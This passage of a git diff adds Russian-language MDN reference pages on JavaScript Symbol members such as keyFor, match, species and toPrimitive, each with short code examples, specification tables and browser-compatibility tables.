+<h3 id="Плохо_оформленные_итераторы">Плохо оформленные итераторы</h3>
+
+<p>Если метод <code>@@iterator</code> объекта не возвращает итератор, то это плохо оформленный итерируемый объект, его использование, скорее всего, приведёт к возникновению исключений или неправильному поведению:</p>
+
+<pre class="brush: js">var nonWellFormedIterable = {}
+nonWellFormedIterable[Symbol.iterator] = () =&gt; 1
+[...nonWellFormedIterable] // TypeError: [] is not a function
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-symbol.iterator', 'Symbol.iterator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(43)}}</td>
+   <td>{{ CompatGeckoDesktop(36) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(30)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile(36) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Iteration_protocols">Протоколы перебора</a></li>
+ <li>{{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/keyfor/index.html b/files/ru/web/javascript/reference/global_objects/symbol/keyfor/index.html
new file mode 100644
index 0000000000..3e250ce039
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/keyfor/index.html
@@ -0,0 +1,87 @@
+---
+title: Symbol.keyFor()
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/keyFor
+tags:
+  - JavaScript
+  - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/keyFor
+---
+<div>{{JSRef}}</div>
+
+<div> Метод <code><strong>Symbol.keyFor(sym)</strong></code> получает ключ для заданного символа из глобального реестра символов.</div>
+
+<div> </div>
+
+<p>{{EmbedInteractiveExample("pages/js/symbol-keyfor.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox"><var>Symbol.keyFor(sym)</var>;</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>sym</dt>
+ <dd>Символ, обязательный. Символ, ключ которого требуется найти</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Строка с ключом заданного символа, если он есть в глобальном реестре символов, либо {{jsxref("undefined")}}, если его там нет.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var globalSym = Symbol.for("foo"); // Создаёт новый глобальный символ
+Symbol.keyFor(globalSym); // "foo"
+
+var localSym = Symbol();
+Symbol.keyFor(localSym); // undefined
+
+// Известные символы не является символами,
+// которые находятся в глобальном реестре символов
+Symbol.keyFor(Symbol.iterator) // undefined
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-symbol.keyfor', 'Symbol.keyFor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.keyfor', 'Symbol.keyFor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Symbol.keyFor")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.for()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/match/index.html b/files/ru/web/javascript/reference/global_objects/symbol/match/index.html
new file mode 100644
index 0000000000..135fbcc2ab
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/match/index.html
@@ -0,0 +1,113 @@
+---
+title: Symbol.match
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/match
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Свойство
+  - Символы
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/match
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Symbol.match</strong></code> — известный символ, определяющий соответствие строки регулярному выражению. Этот метод вызывается функцией {{jsxref("String.prototype.match()")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Данный метод также используется для того, чтобы определить, обладает ли объект поведением регулярного выражения. Например, методы {{jsxref("String.prototype.startsWith()")}}, {{jsxref("String.prototype.endsWith()")}} и {{jsxref("String.prototype.includes()")}} проверяют, является ли первый аргумент регулярным выражением, и бросают {{jsxref("TypeError")}}, если это так. Соответственно, если символ <code>match</code> установлен в <code>false</code> (или имеет {{Glossary("Falsy", "ложное")}} значение) — это говорит о том, что объект не предназначен для использования в качестве регулярного выражения.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Блокировка_проверки_isRegExp">Блокировка проверки i<code>sRegExp</code></h3>
+
+<p>Следующий код выбросит {{jsxref("TypeError")}}:</p>
+
+<pre class="brush: js">"/bar/".startsWith(/bar/); // Бросает TypeError, так как /bar/ является
+                           // регулярным выражением и Symbol.match не изменён.</pre>
+
+<p>Несмотря на это, если вы зададите свойству <code>Symbol.match</code> значение <code>false</code>, проверка <code>isRegExp</code> (которая использует свойство <code>match</code>) покажет, что объект не является регулярным выражением — как следствие, методы <code>startsWith</code> и <code>endsWith</code> не станут бросать <code>TypeError</code>.</p>
+
+<pre class="brush: js">var re = /foo/;
+re[Symbol.match] = false;
+"/foo/".startsWith(re); // true
+"/baz/".endsWith(re);   // false
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-symbol.match', 'Symbol.match')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop(40) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile(40) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.replace")}}</li>
+ <li>{{jsxref("Symbol.search")}}</li>
+ <li>{{jsxref("Symbol.split")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/prototype/index.html b/files/ru/web/javascript/reference/global_objects/symbol/prototype/index.html
new file mode 100644
index 0000000000..9152cc6dd8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/prototype/index.html
@@ -0,0 +1,106 @@
+---
+title: Symbol.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/prototype
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Свойство
+  - Символы
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol
+---
+<div>{{JSRef}}</div>
+
+<p>Свойство <code><strong>Symbol</strong></code><strong><code>.prototype</code></strong> указывает на прототип конструктора {{jsxref("Symbol")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Экземпляры типа {{jsxref("Symbol")}} наследуют {{jsxref("Symbol.prototype")}}. Вы можете использовать прототип конструктора, чтобы добавить свойства и методы ко всем экземплярам типа <code>Symbol</code>.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>Symbol.prototype.constructor</code></dt>
+ <dd>Указывает на функцию, создавшую прототип экземпляра. По умолчанию это функция {{jsxref("Symbol")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("Symbol.prototype.toSource()")}} {{Non-standard_inline}}</dt>
+ <dd>Возвращает строку, содержащую исходный код объекта {{jsxref("Global_Objects/Symbol", "Symbol")}}. Перегружает метод {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Symbol.prototype.toString()")}}</dt>
+ <dd>Возвращает строку, содержащую описание символа. Перегружает метод {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Symbol.prototype.valueOf()")}}</dt>
+ <dd>Возвращает примитивное значение объекта {{jsxref("Symbol")}}. Перегружает метод {{jsxref("Object.prototype.valueOf()")}}.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-symbol.prototype', 'Symbol.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("36.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("36.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/replace/index.html b/files/ru/web/javascript/reference/global_objects/symbol/replace/index.html
new file mode 100644
index 0000000000..abfb4b1f08
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/replace/index.html
@@ -0,0 +1,99 @@
+---
+title: Symbol.replace
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/replace
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/replace
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Symbol.replace</strong></code> — известный символ, задающий метод для замены подстрок в строке. Эта функция вызывается методом {{jsxref("String.prototype.replace()")}}.</p>
+
+<p>Смотрите также {{jsxref("RegExp.@@replace", "RegExp.prototype[@@replace]()")}} и {{jsxref("String.prototype.replace()")}} для получения дополнительных сведений.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.replace', 'Symbol.replace')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.replace', 'Symbol.replace')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(50)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop(49) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile(49) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.match")}}</li>
+ <li>{{jsxref("Symbol.search")}}</li>
+ <li>{{jsxref("Symbol.split")}}</li>
+ <li>{{jsxref("RegExp.@@replace", "RegExp.prototype[@@replace]()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/search/index.html b/files/ru/web/javascript/reference/global_objects/symbol/search/index.html
new file mode 100644
index 0000000000..2f484e317f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/search/index.html
@@ -0,0 +1,54 @@
+---
+title: Symbol.search
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/search
+tags:
+  - ECMASript 2015
+  - JavaScript
+  - Property
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/search
+---
+<div>{{JSRef}}</div>
+
+<p>Широко известный символ <code><strong>Symbol.search</strong></code> указывает метод, который вернёт индекс внутри строки, соответствующей регулярному выражению. Эта функция вызывается методом {{jsxref("String.prototype.search()")}}.</p>
+
+<p>Для получения дополнительной информации см. {{jsxref("RegExp.@@search", "RegExp.prototype[@@search]()")}} и {{jsxref("String.prototype.search()")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.search', 'Symbol.search')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.search', 'Symbol.search')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если Вы хотите дополнить эти данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.search")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.match")}}</li>
+ <li>{{jsxref("Symbol.replace")}}</li>
+ <li>{{jsxref("Symbol.split")}}</li>
+ <li>{{jsxref("RegExp.@@search", "RegExp.prototype[@@search]()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/species/index.html b/files/ru/web/javascript/reference/global_objects/symbol/species/index.html
new file mode 100644
index 0000000000..de03682229
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/species/index.html
@@ -0,0 +1,116 @@
+---
+title: Symbol.species
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/species
+tags:
+  - ECMAScript6
+  - Experimental
+  - JavaScript
+  - Свойство
+  - Символы
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/species
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Symbol.species</strong></code><strong> —</strong> известный символ, позволяющий определить конструктор, использующийся для создания порождённых объектов.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство <code><strong>Symbol.species</strong></code>, содержащее аксессор (геттер), позволяет подклассам переопределить конструктор, используемый по умолчанию для создания новых объектов.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Вам может понадобиться возвращать объекты типа {{jsxref("Array")}} в методах вашего производного класса <code>MyArray</code>. Например, при использовании метода вроде {{jsxref("Array.map", "map()")}}, использующего конструктор по умолчанию, вам может потребоваться возвращать объект родительского типа <code>Array</code>, вместо <code>MyArray</code>. Символ <code><strong>species</strong></code> позволит вам это сделать:</p>
+
+<pre class="brush: js">class MyArray extends Array {
+  // Перегружаем species для использования родительского конструктора Array
+  static get [Symbol.species]() { return Array; }
+}
+var a = new MyArray(1,2,3);
+var mapped = a.map(x =&gt; x * x);
+
+console.log(mapped instanceof MyArray); // false
+console.log(mapped instanceof Array);   // true
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-symbol.species', 'Symbol.species')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.species', 'Symbol.species')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>51</td>
+   <td>{{ CompatGeckoDesktop(41) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>5</td>
+   <td>{{ CompatGeckoMobile(41) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{jsxref("Map.@@species", "Map[@@species]")}}</li>
+ <li>{{jsxref("Set.@@species", "Set[@@species]")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/split/index.html b/files/ru/web/javascript/reference/global_objects/symbol/split/index.html
new file mode 100644
index 0000000000..e9c98051b4
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/split/index.html
@@ -0,0 +1,53 @@
+---
+title: Symbol.split
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/split
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/split
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Symbol.split</strong></code> общеизвестный символ определяет метод, который делит строки в индексах, соответствующих регулярному выражению. Эта функция вызывается методом {{jsxref("String.prototype.split()")}}.</p>
+
+<p>Для подробной информации, смотрите {{jsxref("RegExp.@@split", "RegExp.prototype[@@split]()")}} и {{jsxref("String.prototype.split()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-split.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.split', 'Symbol.split')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.split', 'Symbol.split')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Symbol.split")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.match")}}</li>
+ <li>{{jsxref("Symbol.replace")}}</li>
+ <li>{{jsxref("Symbol.search")}}</li>
+ <li>{{jsxref("RegExp.@@split", "RegExp.prototype[@@split]()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html b/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html
new file mode 100644
index 0000000000..fa512ba32f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html
@@ -0,0 +1,92 @@
+---
+title: Symbol.toPrimitive
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive
+tags:
+  - '@@toPrimitive'
+  - JavaScript
+  - toPrimitive
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Symbol.toPrimitive</code> </strong>является символом (symbol), который описывает свойство объекта как функцию, которая вызывается при преобразовании объекта в соответсвующее примитивное значение.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/symbol-toprimitive.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<p> </p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>С помощью свойства <strong><code>Symbol.toPrimitive</code></strong><code> </code>(которое описывается как функция), объект может быть приведен к примитивному типу. Функция вызывается со строковым аргументом <code><strong>hint</strong></code>, который передает желаемый тип примитива. Значением аргумента <code><strong>hint</strong></code> может быть одно из следующих значений <code>"<em>number</em>"</code>, <code>"<em>string</em>"</code>, и <code>"<em>default</em>"</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Описанные ниже примеры показывают как с помощью свойства <strong><code>Symbol.toPrimitive</code></strong> можно привести объект к примитивному типу.</p>
+
+<pre class="brush: js">// Объект без свойства Symbol.toPrimitive
+var obj1 = {};
+console.log(+obj1);     // NaN
+console.log(`${obj1}`); // "[object Object]"
+console.log(obj1 + ''); // "[object Object]"
+
+// Объект со свойством Symbol.toPrimitive
+var obj2 = {
+  [Symbol.toPrimitive](hint) {
+    if (hint == 'number') {
+      return 10;
+    }
+    if (hint == 'string') {
+      return 'hello';
+    }
+    return true;
+  }
+};
+console.log(+obj2);     // 10        -- желаемый тип (<strong>hint</strong>) - "number"
+console.log(`${obj2}`); // "hello"   -- желаемый тип (<strong>hint</strong>) - "string"
+console.log(obj2 + ''); // "true"    -- желаемый тип (<strong>hint</strong>) - "default"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.toprimitive', 'Symbol.toPrimitive')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.toprimitive', 'Symbol.toPrimitive')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Symbol.toPrimitive")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{jsxref("Date.@@toPrimitive", "Date.prototype[@@toPrimitive]")}}</li>
+ <li>{{jsxref("Symbol.@@toPrimitive", "Symbol.prototype[@@toPrimitive]")}}</li>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/tostringtag/index.html b/files/ru/web/javascript/reference/global_objects/symbol/tostringtag/index.html
new file mode 100644
index 0000000000..89cfa3bda8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/tostringtag/index.html
@@ -0,0 +1,89 @@
+---
+title: Symbol.toStringTag
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/toStringTag
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toStringTag
+---
+<div>{{JSRef}}</div>
+
+<div>Известный символ <strong><code>Symbol.toStringTag</code></strong> - это строковое значение свойства, которое используется при создании строки описания объекта по умолчанию. Доступ к нему осуществляется через {{jsxref("Object.prototype.toString()")}} метод.</div>
+
+<div></div>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-tostringtag.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
